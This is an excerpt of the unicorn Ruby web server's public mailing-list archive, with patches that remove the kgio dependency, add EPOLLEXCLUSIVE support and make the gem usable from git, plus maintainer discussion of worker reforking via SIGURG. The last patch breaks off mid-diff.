- alias_method :kgio_read!, :sysread
- alias_method :read_nonblock, :sysread
- def kgio_addr
- '127.0.0.1'
+ def remote_address
+ Addrinfo.tcp('127.0.0.1', 55608)
end
end
@@ -152,14 +149,7 @@ def test_rack_lint_big_put
buf = (' ' * bs).freeze
length = bs * count
client = Tempfile.new('big_put')
- def client.kgio_addr; '127.0.0.1'; end
- def client.kgio_read(*args)
- readpartial(*args)
- rescue EOFError
- end
- def client.kgio_read!(*args)
- readpartial(*args)
- end
+ def client.remote_address; Addrinfo.tcp('127.0.0.1', 55608); end
client.syswrite(
"PUT / HTTP/1.1\r\n" \
"Host: foo\r\n" \
diff --git a/test/unit/test_stream_input.rb b/test/unit/test_stream_input.rb
index 1a07ec3..445b415 100644
--- a/test/unit/test_stream_input.rb
+++ b/test/unit/test_stream_input.rb
@@ -6,16 +6,14 @@
class TestStreamInput < Test::Unit::TestCase
def setup
- @rs = $/
@env = {}
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
end
def teardown
return if $$ != @start_pid
- $/ = @rs
@rd.close rescue nil
@wr.close rescue nil
Process.waitall
@@ -54,10 +52,9 @@ def test_gets_multiline
end
def test_gets_empty_rs
- $/ = nil
r = init_request("a\nb\n\n")
si = Unicorn::StreamInput.new(@rd, r)
- assert_equal "a\nb\n\n", si.gets
+ assert_equal "a\nb\n\n", si.gets(nil)
assert_nil si.gets
end
diff --git a/test/unit/test_tee_input.rb b/test/unit/test_tee_input.rb
index 4647e66..21b90f1 100644
--- a/test/unit/test_tee_input.rb
+++ b/test/unit/test_tee_input.rb
@@ -12,7 +12,7 @@ class TestTeeInput < Test::Unit::TestCase
def setup
@rs = $/
- @rd, @wr = Kgio::UNIXSocket.pair
+ @rd, @wr = UNIXSocket.pair
@rd.sync = @wr.sync = true
@start_pid = $$
end
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 7bb1154..85183d9 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -36,7 +36,6 @@
# won't have descriptive text, only the numeric status.
s.add_development_dependency(%q<rack>)
- s.add_dependency(%q<kgio>, '~> 2.6')
s.add_dependency(%q<raindrops>, '~> 0.7')
s.add_development_dependency('test-unit', '~> 3.0')
--
2.35.1
^ permalink raw reply related [relevance 13%]
* Re: [PATCH] Make the gem usable as a git gem
2022-07-08 7:46 9% [PATCH] Make the gem usable as a git gem Jean Boussier
@ 2022-07-08 12:12 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2022-07-08 12:12 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@gmail.com> wrote:
> Ok, so I’m sorry, but I’ve now tried for hours and
> I can’t for the life of me figure out how to send a patch
> cleanly with the tools I have available.
Ugh, I guess your employer doesn't want you fixing Linux kernel bugs,
either :<
> So you can download the patch here:
> https://github.com/byroot/unicorn/commit/e7f49852875de54cce974c7cbdd5540ddc5e4eeb.patch
OK, I suggest setting up mirrors on repo.or.cz or somewhere
else, as well, for redundancy and accessibility behind
blockades/firewalls.
> ——
>
> Bundler allow to install arbitrary revision
> of a gem via its git repository, e.g.
>
> ```ruby
> gem "unicorn", git: "https://yhbt.net/unicorn.git"
> ```
>
> But this currently doesn't work with unicorn because
> some files are not committed, and they are only generated
> by the makefile.
>
> This change would make it much easier to test
> unreleased versions.
Understood; but I'm not in favor of having generated files in
version control due to noise from needless diffs/dirty-states.
And I just had problems in another project because of generated
hunks the other day.
I suggest pointing the gemfile towards your own repo and
rebasing this patch on top of upstream, instead.
> NB: I didn't commit ext/unicorn_http/unicorn_http.c
> because I think you might as well generate it and commit
> it yourself so that you don't have to review it.
Minor changes to the .rl files (or Ragel itself) can lead noisy
comment/whitespace changes; and a constant dirty index if two
contributors are using different revisions of Ragel[1].
I encounter constant dirty index with autotools and gnulib-using
projects across different systems, too; and it's a PITA to deal
with when trying to fix platform-specific bugs.
> --- /dev/null
> +++ b/lib/unicorn/version.rb
> @@ -0,0 +1 @@
> +Unicorn::Const::UNICORN_VERSION = '6.1.0.dirty'
That's a regression, a version based on `git describe'
can be quite informative, especially when somebody isn't
sure if they've loaded the correct version or not.
[1] on a side note, I started getting rid of the Ragel dependency
last year (replacing with vendored picohttpparser), but got
sidetracked with Real-Life crap which I'm still dealing with.
The problem is Ragel 7 (experimental) won't be compatible with
6, and FreeBSD only packages 7 while Debian-based is staying
with 6 for now. There were nasty incompatibilities going from
Ragel 5->6 back in the Mongrel days, too; so I'd rather just go
with a standalone C parser I've been abusing elsewhere.
^ permalink raw reply [relevance 0%]
* [PATCH] Make the gem usable as a git gem
@ 2022-07-08 7:46 9% Jean Boussier
2022-07-08 12:12 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Jean Boussier @ 2022-07-08 7:46 UTC (permalink / raw)
To: unicorn-public
Ok, so I’m sorry, but I’ve now tried for hours and
I can’t for the life of me figure out how to send a patch
cleanly with the tools I have available.
So you can download the patch here:
https://github.com/byroot/unicorn/commit/e7f49852875de54cce974c7cbdd5540ddc5e4eeb.patch
——
Bundler allow to install arbitrary revision
of a gem via its git repository, e.g.
```ruby
gem "unicorn", git: "https://yhbt.net/unicorn.git"
```
But this currently doesn't work with unicorn because
some files are not committed, and they are only generated
by the makefile.
This change would make it much easier to test
unreleased versions.
NB: I didn't commit ext/unicorn_http/unicorn_http.c
because I think you might as well generate it and commit
it yourself so that you don't have to review it.
---
.gitignore | 2 --
lib/unicorn/version.rb | 1 +
2 files changed, 1 insertion(+), 2 deletions(-)
create mode 100644 lib/unicorn/version.rb
diff --git a/.gitignore b/.gitignore
index ad92808..9aa3cad 100644
--- a/.gitignore
+++ b/.gitignore
@@ -11,7 +11,6 @@
/test/rbx-*
/test/ruby-*
ext/unicorn_http/Makefile
-ext/unicorn_http/unicorn_http.c
log/
pkg/
/vendor
@@ -21,5 +20,4 @@ pkg/
/man
/tmp
/LATEST
-/lib/unicorn/version.rb
/*_1
diff --git a/lib/unicorn/version.rb b/lib/unicorn/version.rb
new file mode 100644
index 0000000..f456bdd
--- /dev/null
+++ b/lib/unicorn/version.rb
@@ -0,0 +1 @@
+Unicorn::Const::UNICORN_VERSION = '6.1.0.dirty'
--
2.11.0
^ permalink raw reply related [relevance 9%]
* Re: [PATCH] Master promotion with SIGURG (CoW optimization)
[not found] ` <CANPRWbHTNiEcYq5qhN6Kio8Wg9a+2gXmc2bAcB2oVw4LZv8rcw@mail.gmail.com>
@ 2022-07-08 0:30 0% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2022-07-08 0:30 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
(fully quoting original message for archival purposes, original
was sent privately)
> > SIGURG is fine, having SIGUSR2 mean two things seems fragile and error-prone
>
> Ack.
>
>
> > I'm fine with requiring Linux for this feature, existing
> > features need to continue working on *BSD...
>
> Sounds good.
>
>
> > *_fork callbacks already work for your current patch, though, right?;
> > so hopefully *_refork won't be needed...
>
> Yeah, I don't think it's necessary.
>
> > sidenote: no need for kgio, I've been meaning to get rid of it
> > (Ruby 2.3+ has everything we'd need, I think...)
>
> Yes. I just didn't want to make such change in my patch.
> I can send a patch to remove kgio and require Ruby 2.3 if you wish.
I don't think Ruby 2.3+ is even necessary, just yet, nor kgio.
None of these new code paths should be exception-intensive to be
a performance problem.
> > I would prefer this Linux-only approach if it gets rid of PID
> > files and doesn't introduce new temporary files/FIFOs.
>
> Ack. I'll get back to that one then.
>
> > It seems socketpair(..., SOCK_SEQPACKET) can be used for
> > packetized bidirectional IPC, perhaps with send_io + recv_io iff
> > necessary. There shouldn't be any need for new, fragile FS
> > interactions.
>
> Hum. I'm not familiar with socketpair, I'll have to read on it.
SOCK_SEQPACKET has worked well on Linux for ages; and seems to
work well on FreeBSD 12+, at least; but I haven't tried it on
other OSes...
socketpair itself is ancient and every *nix has it (but only
SOCK_STREAM and SOCK_DGRAM, SOCK_SEQPACKET came a bit later).
> > Another idea, have you considered letting master work on some requests?
> > Signal handling would be delayed, and EINTR handling bugs in
> > gems could be exposed, but it'd be completely portable...
>
> I haven't considered it no, but I'm not really kin on it, because if you do
> this, requests handled by the master can't be timed out.
OK, fair enough.
> If anything, the reliable timeout is the number one reason why I still
> believe unicorn
> is the superior server out there.
/me hides under a desk :<
Honestly, you have no idea how embarrased I am of that (mis)feature.
> > It depends on whether the monitoring process/library can work
> > with other Rack servers, probably; and signal compatibility.
>
> That's a good point. Assuming unicorn and puma both do reforking on SIGURG,
> then that monitoring process could work with both. Not a bad idea.
>
> > > - Many endpoints require database and other network access you probably
> > > don't want in the master.
> >
> > Wouldn't the *_fork hooks handle that, anyways?
>
> They are supposed to yes. But I suspect many apps currently work fine
> because some connection are lazily established on first access and just never
> accessed as part of the boot process.
>
> Once you enable reforking, you might realized that you are missing some code
> in `before_fork`.
OK, fair enough. I think it's simpler to tell people to improve
existing hooks than introduce new names for similar concepts
(and likely a chunk of duplicated code in their configs)
> > > - Endpoints may have side effects.
> >
> > Yeah, this would optimize the GET endpoints, at least.
>
> Well, `GET` endpoints may have side effects too, e.g. a visit counter.
>
> > Nope, still wrapped. According to the git-format-patch(1) manpage,
> > Thunderbird can work w/o extensions, actually.
>
> Damn it, I sent that one using GMail's plain test mode.
>
> I'm sorry but my work laptop is kinda locked down, so I'm very limited
> in my choice of mail clients. I'll try to send it from my personal computer.
OK, your initial message was from Thunderbird and probably close;
so I figure git@vger.kernel.org could use the feedback if the
git manpage has fallen out-of-date.
> Also less convenient for you, but I guess you can pull my fork:
>
> git@github.com:casperisfine/unicorn.git
>
> The two branches are: master-promote and worker-refork.
That would be: https://github.com/casperisfine/unicorn.git
Anonymous HTTPS is mostly fine (more steps to quote/reply to,
and inaccessible offline)
Registration is what I have major problems with.
> > I'm fine with "maintaining it" if it just means Cc-ing you on
> > bugs related to this :>
>
> Oh that's fine, that was pretty much implied.
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Master promotion with SIGURG (CoW optimization)
@ 2022-07-07 10:23 2% ` Eric Wong
[not found] ` <CANPRWbHTNiEcYq5qhN6Kio8Wg9a+2gXmc2bAcB2oVw4LZv8rcw@mail.gmail.com>
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2022-07-07 10:23 UTC (permalink / raw)
To: Jean Boussier; +Cc: unicorn-public
Jean Boussier <jean.boussier@shopify.com> wrote:
> > OK, any numbers from Puma users which can be used to project
> > improvements for unicorn (and other servers)?
>
> There are some user reports here: https://github.com/puma/puma/issues/2258
> but they are mixed in reports for two other new featurs.
>
> Some reports are up to 20-30% savings, but I'd expect unicorn to benefit
> even more from it, given that typical puma users spawn less processes
> than with unicorn.
OK, those numbers sound very good (but I can't view
graphics/screenshots from w3m)
> > > They also include automatic reforking after a predetermined amount
> > > of requests (1k by default).
> >
> > 1k seems like a lot of requests (more on this below)
>
> Agreed. Shared pages start being invalidated much faster than that.
>
> > > - master: on `SIGURG`
> > > - Forward `SIGURG` to a chosen worker.
> >
> > OK, I guess SIGURG is safe to use since nobody else relies on it (right?).
>
> That's my understanding, an alternative could be to re-use USR2 and have a
> config flag to define wether it is a rexec or refork.
SIGURG is fine, having SIGUSR2 mean two things seems fragile and error-prone
> > Right. PID file races and corner cases were painful to deal
> > with in the earliest days of this project, and I don't look
> > forward to having to deal with them ever again...
> >
> > It looked like the world was moving towards socket-activation
> > with dedicated process managers and away from fragile PID files;
> > so being self-daemonization dependent seems like a step back.
>
> Agreed. We're currently running unicorn as PID 1 inside containers
> and I'm not exactly looking forward to have to minitor a PID file.
>
> Another avenue I explored was to keep the existing master and
> refork from one of the worker like puma, but re-assign the parent
> to the orignal master using PR_SET_CHILD_SUBREAPER.
>
> Here's my notes of how it works:
>
> ### Requirements:
>
> - Need `PR_SET_CHILD_SUBREAPER`, so Linux 3.4+ only (May 2012)
I'm fine with requiring Linux for this feature, existing
features need to continue working on *BSD...
> - Need `File.mkfifo`, so Ruby 2.3 (Dec 2015), but can be shimed for older
> rubies.
I don't think it's necessary to use FIFOs at all (see below)
> ### Flow:
>
> - master: set `PR_SET_CHILD_SUBREAPER` during boot.
> - master: create a temporary directory (`$TMP`).
> - master: spawn initial workers the old way.
>
> - master: on `SIGCHLD` (a child died):
> - Fake signal oldest worker (`SIGURG`).
> - Write the new worker number in the fake signal pipe (at the same time).
>
> - worker: on `SIGURG` (should spawn a sibling):
> - Note: worker fake signals are processed after the current request is
> completed.
> - Run `before_fork` callback (MAYBE: need a special `before_refork`
> callback?)
> - create a pipe.
> - daemonize (fork twice so that the new process is attributed to the
> nearest `CHILD_SUBREAPER`, aka the original master).
> - wait for the first child to exit.
> - write into the pipe to signal the parent is dead.
> - Run `after_fork` callback (MAYBE: need a special `after_refork` callback?)
*_fork callbacks already work for your current patch, though, right?;
so hopefully *_refork won't be needed...
> - new sibling after fork:
> - wait for the parent to exit (though the temporary pipe).
> - create a named pipe (`File.mkfifo`) at `$TMP/$WORKER_NUM.pipe`.
> - create a pidfile at `$TMP/WORKER_NUM.pid`.
> - Open the named pipe in `IO::RDONLY | IO::NONBLOCK` (otherwise it would
> block until the master open in write mode).
> - NB: Need to convert it to a `Kgio::Pipe` with
> `Kgio::Pipe.for_fd(f.to_i)`, and keep `f` need `autoclose = false`.
sidenote: no need for kgio, I've been meaning to get rid of it
(Ruby 2.3+ has everything we'd need, I think...)
> - Create the `Unicorn::Worker` instance with that pipe and worker number.
> - Send `SIGURG` to the parent process (should be the master).
> - Wait for `SIGCONT` in the named pipe.
> - enter the worker loop.
>
> - master: on `SIGURG`:
> - for each outstanding refork order:
> - Look for `$TMP/$WORKER_NUM.pid` and `$TMP/$WORKER_NUM.pipe`
> - Read the pidfile
> - Open the pipe with `IO::RDONLY | IO::NONBLOCK`
> - NB: Need to convert it to a `Kgio::Pipe` with
> `Kgio::Pipe.for_fd(f.to_i)`, and keep `f` need `autoclose = false`.
> - Delete pidfile and named pipe.
> - Register that new worker normally.
> - Write `SIGCONT` into the pipe.
>
> I can share the patch if you are interested, but the extra complexity
> and Linux only features made me prefer the master-promotion approach.
I would prefer this Linux-only approach if it gets rid of PID
files and doesn't introduce new temporary files/FIFOs.
It seems socketpair(..., SOCK_SEQPACKET) can be used for
packetized bidirectional IPC, perhaps with send_io + recv_io iff
necessary. There shouldn't be any need for new, fragile FS
interactions.
Another idea, have you considered letting master work on some requests?
Signal handling would be delayed, and EINTR handling bugs in
gems could be exposed, but it'd be completely portable...
> > > However it work well enough for demonstration.
> > >
> > > So I figured I'd ask wether the feature is desired upstream
> > > before investing more effort into it.
> >
> > It really depends on:
> >
> > 1) what memory savings and/or speedups can be achieved
> >
> > 2) what support can we expect from you (and other users) for
> > this feature and potential regressions going forward?
> >
> > I don't have the free time nor mental capacity to deal with
> > fallout from major new features such as this, myself.
>
> Yeah, this is just a RFC, I wouldn't submit a final patch without
> first deploying it on our infra with good results. I'm just on the
> fence between trying to get this upstream vs maintaining our own
> server that solely work like this, hence somewhat simpler and that
> can make more assumptions.
Of course you also realize unicorn remains culturally-incompatible
with 99.9% of the open source world since I refuse to rely on
graphics drivers to work on a daemon, proprietary software,
terms-of-service, etc...
If anything goes wrong, I'd likely CC you anyways.
> > The hook interface would be yet another documentation+support
> > burden I'm worried about (and also more unicorn-specific stuff
> > to lock people in :<).
>
> Understandable. I suppose it can be done with a monitoring process.
> Check `smaps_rollup` and send `SIGURG` when deemed necessary.
>
> More moving pieces but keep unicorn simpler.
*shrug* I've also been favoring more vertical integration in
other places to keep the overall stack simpler.
It depends on whether the monitoring process/library can work
with other Rack servers, probably; and signal compatibility.
> > A completely different idea which should achieve the same goal,
> > completely independent of unicorn:
> >
> > App startup/loading can be made to trigger warmup paths which
> > hit common endpoints. IOW, app loading could run a small
> > warmup suite which simulates common requests to heat up caches
> > and trigger JIT.
>
> Yeah, I don't really believe in this for a few reasons:
>
> - That would slow boot time.
Yes, and startup time is already a nasty thing, anyways...
> - On large apps there's just too many codepath for this to be realistic.
I was thinking a lazy solution could be to have some middleware
measure coverage and log requests to support auto-replay, somehow.
> - Many endpoints require database and other network access you probably
> don't want in the master.
Wouldn't the *_fork hooks handle that, anyways?
> - Endpoints may have side effects.
Yeah, this would optimize the GET endpoints, at least.
Not sure what percentage of POST needs to be optimized...
> > Ultimately (long-term for ruby-core), it would be better to make
> > JIT (and perhaps even VM cache) results persistent and shareable
> > across different processes, somehow... That would help all Ruby
> > tools, even short-lived CLI tools. Portable locking would be a
> > pain, I suppose, but proprietary OSes are always a pain :P
>
> Based on my limited understanding of both JIT and VM caches, I don't think
> that's really possible.
Ugh, I still think it can be made possible, somehow. But I no longer
use Ruby for new projects...
> The VM itself could definitely do better CoW wise, and I have some proposals
> on that front (https://bugs.ruby-lang.org/issues/18885) but that will take
> time and will never be perfect.
>
> That's why I think periodically promoting a new master has potential.
>
> > There's some line-wrapping issues caused by your MUA;
>
> Urk. Ok, trying another client now, and I'll resend the patch.
Nope, still wrapped. According to the git-format-patch(1) manpage,
Thunderbird can work w/o extensions, actually.
IME attachments might work mostly well, nowadays (test sending
to yourself and using "git am" to apply, first, of course).
Most on vger will disagree with me on attachments, though...
"git send-email" and "git imap-send" remain the recommended
options, but mutt works well, too.
> > Perhaps documenting this as experimental and subject to removal
> > at any time would make the addition of a major new feature an
> > easier pill to swallow; but I still think this is better outside
> > of app servers.
>
> Up to you, if you don't feel like maintaining such a feature I would
> perfectly understand.
I'm fine with "maintaining it" if it just means Cc-ing you on
bugs related to this :>
^ permalink raw reply [relevance 2%]
* DKIM+DMARC enabled (for mailing list subscribers)
@ 2022-05-08 3:47 2% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2022-05-08 3:47 UTC (permalink / raw)
To: unicorn-public
This message is only for SMTP subscribers; not anybody reading
via HTTP(S), IMAP(S), or NNTP(S).
I had some bounces earlier due to DMARC for two (of many)
recipients; so I'm adding incompressible header bloat via DKIM :<
in the hopes that it appeases the big email cartels.
For users of some webmail services and apps; one-click unsubscribe
might work better since "List-Unsubscribe-Post: List-Unsubscribe=One-Click"
gets added to the header.
I haven't been able to test it myself, though; but please
unsubscribe if you can. Nothing interesting, anyways...
IMAP, NNTP, and Atom feeds are all available:
imaps://yhbt.net/inbox.comp.lang.ruby.unicorn.0
imap://7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/inbox.comp.lang.ruby.unicorn.0
nntps://news.public-inbox.org/inbox.comp.lang.ruby.unicorn
nntp://news.gmane.io/gmane.comp.lang.ruby.unicorn.general
https://yhbt.net/unicorn-public/new.atom
http://7fh6tueqddpjyxjmgtdiueylzoqt6pt7hec3pukyptlmohoowvhde4yd.onion/unicorn-public/new.atom
(.onion URLs require Tor)
I'm also working on a POP3 server, since that integrates with
webmail providers better.
^ permalink raw reply [relevance 2%]
* [PATCH 2/3] drop Ruby version warning, fix speling errer
@ 2021-12-25 17:41 5% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-12-25 17:41 UTC (permalink / raw)
To: unicorn-public
The warning was probably lost in the noise of the build, anyways.
---
ext/unicorn_http/extconf.rb | 5 -----
unicorn.gemspec | 2 +-
2 files changed, 1 insertion(+), 6 deletions(-)
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 13dec412..80d00e56 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -1,11 +1,6 @@
# -*- encoding: binary -*-
require 'mkmf'
-unless RUBY_VERSION < '3.1'
- warn "Unicorn was only tested against MRI up to 3.0.\n" \
- "It might not properly work with #{RUBY_VERSION}"
-end
-
have_func("rb_hash_clear", "ruby.h") or abort 'Ruby 2.0+ required'
message('checking if String#-@ (str_uminus) dedupes... ')
diff --git a/unicorn.gemspec b/unicorn.gemspec
index 9230199d..b12cf9d3 100644
--- a/unicorn.gemspec
+++ b/unicorn.gemspec
@@ -25,7 +25,7 @@
s.homepage = 'https://yhbt.net/unicorn/'
s.test_files = test_files
- # 2.0.0 is the minumum supported version. We don't specify
+ # 2.0.0 is the minimum supported version. We don't specify
# a maximum version to make it easier to test pre-releases,
# but we do warn users if they install unicorn on an untested
# version in extconf.rb
^ permalink raw reply related [relevance 5%]
* [PATCH 6/6] use EPOLLEXCLUSIVE on Linux 4.5+
2021-10-01 3:09 3% [PATCH 0/6] reduce thundering herds on Linux 4.5+ Eric Wong
@ 2021-10-01 3:09 10% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2021-10-01 3:09 UTC (permalink / raw)
To: unicorn-public
While the capabilities of epoll cannot be fully exploited given
our primitive design; avoiding thundering herd wakeups on larger
SMP machines while below 100% utilization is possible with
Linux 4.5+.
With this change, only one worker wakes up per-connect(2)
(instead of all of them via select(2)), avoiding the thundering
herd effect when the system is mostly idle.
Saturated instances should not notice the difference if they
rarely had multiple workers sleeping in select(2). This change
benefits non-saturated instances.
With 2 parallel clients and 8 workers on a nominally (:P)
8-core CPU (AMD FX-8320), the uconnect.perl test script
invocation showed a reduction from ~3.4s to ~2.5s when
reading an 11-byte response body:
echo worker_processes 8 >u.conf.rb
bs=11 ruby -I lib -I test/ruby-2.5.5/ext/unicorn_http/ bin/unicorn \
test/benchmark/dd.ru -E none -l /tmp/u.sock -c u.conf.rb
time perl -I lib -w test/benchmark/uconnect.perl \
-n 100000 -c 2 /tmp/u.sock
Times improve less as "-c" increases for uconnect.perl (system
noise and timings are inconsistent). The benefit of this change
should be more noticeable on systems with more workers (and
more cores).
I wanted to use EPOLLET (Edge-Triggered) to further reduce
syscalls, here, (similar to the old select()-avoidance bet) but
that would've either added too much complexity to deduplicate
wakeup sources, or run into the same starvation problem we
solved in April 2020[1].
Since the kernel already has the complexity and deduplication
built-in for Level-Triggered epoll support, we'll just let the
kernel deal with it.
Note: do NOT take this as an example of how epoll should be used
in a sophisticated server. unicorn is primitive by design and
cannot use threads nor handle multiple clients at once, thus it
it only uses epoll in this extremely limited manner.
Linux 4.5+ users will notice a regression of one extra epoll FD
per-worker and at least two epoll watches, so
/proc/sys/fs/epoll/max_user_watches may need to be changed along
with RLIMIT_NOFILE.
This change has also been tested on Linux 3.10.x (CentOS 7.x)
and FreeBSD 11.x to ensure compatibility with systems without
EPOLLEXCLUSIVE.
Various EPOLLEXCLUSIVE discussions over the years:
https://yhbt.net/lore/lkml/?q=s:EPOLLEXCLUSIVE+d:..20211001&x=t&o=-1
[1] https://yhbt.net/unicorn-public/CAMBWrQ=Yh42MPtzJCEO7XryVknDNetRMuA87irWfqVuLdJmiBQ@mail.gmail.com/
---
ext/unicorn_http/epollexclusive.h | 125 ++++++++++++++++++++++++++++++
ext/unicorn_http/extconf.rb | 1 +
ext/unicorn_http/unicorn_http.rl | 3 +
lib/unicorn/http_server.rb | 17 +++-
lib/unicorn/select_waiter.rb | 6 ++
t/test-lib.sh | 3 +-
test/unit/test_waiter.rb | 34 ++++++++
7 files changed, 184 insertions(+), 5 deletions(-)
create mode 100644 ext/unicorn_http/epollexclusive.h
create mode 100644 lib/unicorn/select_waiter.rb
create mode 100644 test/unit/test_waiter.rb
diff --git a/ext/unicorn_http/epollexclusive.h b/ext/unicorn_http/epollexclusive.h
new file mode 100644
index 0000000..2d2a589
--- /dev/null
+++ b/ext/unicorn_http/epollexclusive.h
@@ -0,0 +1,125 @@
+/*
+ * This is only intended for use inside a unicorn worker, nowhere else.
+ * EPOLLEXCLUSIVE somewhat mitigates the thundering herd problem for
+ * mostly idle processes since we can't use blocking accept4.
+ * This is NOT intended for use with multi-threaded servers, nor
+ * single-threaded multi-client ("C10K") servers or anything advanced
+ * like that. This use of epoll is only appropriate for a primitive,
+ * single-client, single-threaded servers like unicorn that need to
+ * support SIGKILL timeouts and parent death detection.
+ */
+#if defined(HAVE_EPOLL_CREATE1)
+# include <sys/epoll.h>
+# include <errno.h>
+# include <ruby/io.h>
+# include <ruby/thread.h>
+#endif /* __linux__ */
+
+#if defined(EPOLLEXCLUSIVE) && defined(HAVE_EPOLL_CREATE1)
+# define USE_EPOLL (1)
+#else
+# define USE_EPOLL (0)
+#endif
+
+#if USE_EPOLL
+/*
+ * :nodoc:
+ * returns IO object if EPOLLEXCLUSIVE works and arms readers
+ */
+static VALUE prep_readers(VALUE cls, VALUE readers)
+{
+ long i;
+ int epfd = epoll_create1(EPOLL_CLOEXEC);
+ VALUE epio;
+
+ if (epfd < 0) rb_sys_fail("epoll_create1");
+
+ epio = rb_funcall(cls, rb_intern("for_fd"), 1, INT2NUM(epfd));
+
+ Check_Type(readers, T_ARRAY);
+ for (i = 0; i < RARRAY_LEN(readers); i++) {
+ int rc;
+ struct epoll_event e;
+ rb_io_t *fptr;
+ VALUE io = rb_ary_entry(readers, i);
+
+ e.data.u64 = i; /* the reason readers shouldn't change */
+
+ /*
+ * I wanted to use EPOLLET here, but maintaining our own
+ * equivalent of ep->rdllist in Ruby-space doesn't fit
+ * our design at all (and the kernel already has it's own
+ * code path for doing it). So let the kernel spend
+ * cycles on maintaining level-triggering.
+ */
+ e.events = EPOLLEXCLUSIVE | EPOLLIN;
+ io = rb_io_get_io(io);
+ GetOpenFile(io, fptr);
+ rc = epoll_ctl(epfd, EPOLL_CTL_ADD, fptr->fd, &e);
+ if (rc < 0) rb_sys_fail("epoll_ctl");
+ }
+ return epio;
+}
+#endif /* USE_EPOLL */
+
+#if USE_EPOLL
+struct ep_wait {
+ struct epoll_event *events;
+ rb_io_t *fptr;
+ int maxevents;
+ int timeout_msec;
+};
+
+static void *do_wait(void *ptr) /* runs w/o GVL */
+{
+ struct ep_wait *epw = ptr;
+
+ return (void *)(long)epoll_wait(epw->fptr->fd, epw->events,
+ epw->maxevents, epw->timeout_msec);
+}
+
+/* :nodoc: */
+/* readers must not change between prepare_readers and get_readers */
+static VALUE
+get_readers(VALUE epio, VALUE ready, VALUE readers, VALUE timeout_msec)
+{
+ struct ep_wait epw;
+ long i, n;
+ VALUE buf;
+
+ Check_Type(ready, T_ARRAY);
+ Check_Type(readers, T_ARRAY);
+ epw.maxevents = RARRAY_LENINT(readers);
+ buf = rb_str_buf_new(sizeof(struct epoll_event) * epw.maxevents);
+ epw.events = (struct epoll_event *)RSTRING_PTR(buf);
+ epio = rb_io_get_io(epio);
+ GetOpenFile(epio, epw.fptr);
+
+ epw.timeout_msec = NUM2INT(timeout_msec);
+ n = (long)rb_thread_call_without_gvl(do_wait, &epw, RUBY_UBF_IO, NULL);
+ if (n < 0) {
+ if (errno != EINTR) rb_sys_fail("epoll_wait");
+ n = 0;
+ }
+ /* Linux delivers events in order received */
+ for (i = 0; i < n; i++) {
+ struct epoll_event *ev = &epw.events[i];
+ VALUE obj = rb_ary_entry(readers, ev->data.u64);
+
+ if (RTEST(obj))
+ rb_ary_push(ready, obj);
+ }
+ rb_str_resize(buf, 0);
+ rb_gc_force_recycle(buf);
+ return Qfalse;
+}
+#endif /* USE_EPOLL */
+
+static void init_epollexclusive(VALUE mUnicorn)
+{
+#if USE_EPOLL
+ VALUE cWaiter = rb_define_class_under(mUnicorn, "Waiter", rb_cIO);
+ rb_define_singleton_method(cWaiter, "prep_readers", prep_readers, 1);
+ rb_define_method(cWaiter, "get_readers", get_readers, 3);
+#endif
+}
diff --git a/ext/unicorn_http/extconf.rb b/ext/unicorn_http/extconf.rb
index 46070a7..13dec41 100644
--- a/ext/unicorn_http/extconf.rb
+++ b/ext/unicorn_http/extconf.rb
@@ -38,4 +38,5 @@
message("no, needs Ruby 2.6+\n")
end
+have_func('epoll_create1', %w(sys/epoll.h))
create_makefile("unicorn_http")
diff --git a/ext/unicorn_http/unicorn_http.rl b/ext/unicorn_http/unicorn_http.rl
index e934a32..605b23f 100644
--- a/ext/unicorn_http/unicorn_http.rl
+++ b/ext/unicorn_http/unicorn_http.rl
@@ -12,6 +12,7 @@
#include "common_field_optimization.h"
#include "global_variables.h"
#include "c_util.h"
+#include "epollexclusive.h"
void init_unicorn_httpdate(void);
@@ -1017,5 +1018,7 @@ void Init_unicorn_http(void)
id_clear = rb_intern("clear");
#endif
id_is_chunked_p = rb_intern("is_chunked?");
+
+ init_epollexclusive(mUnicorn);
}
#undef SET_GLOBAL
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 7f33f98..21f2a05 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -685,7 +685,6 @@ def init_worker_process(worker)
LISTENERS.each { |sock| sock.close_on_exec = true }
worker.user(*user) if user.kind_of?(Array) && ! worker.switched
- self.timeout /= 2.0 # halve it for select()
@config = nil
build_app! unless preload_app
@after_fork = @listener_opts = @orig_app = nil
@@ -705,11 +704,22 @@ def reopen_worker_logs(worker_nr)
exit!(77) # EX_NOPERM in sysexits.h
end
+ def prep_readers(readers)
+ wtr = Unicorn::Waiter.prep_readers(readers)
+ @timeout *= 500 # to milliseconds for epoll, but halved
+ wtr
+ rescue
+ require_relative 'select_waiter'
+ @timeout /= 2.0 # halved for IO.select
+ Unicorn::SelectWaiter.new
+ end
+
# runs inside each forked worker, this sits around and waits
# for connections and doesn't die until the parent dies (or is
# given a INT, QUIT, or TERM signal)
def worker_loop(worker)
readers = init_worker_process(worker)
+ waiter = prep_readers(readers)
reopen = false
# this only works immediately if the master sent us the signal
@@ -722,8 +732,7 @@ def worker_loop(worker)
begin
reopen = reopen_worker_logs(worker.nr) if reopen
worker.tick = time_now.to_i
- tmp = ready.dup
- while sock = tmp.shift
+ while sock = ready.shift
# Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
# but that will return false
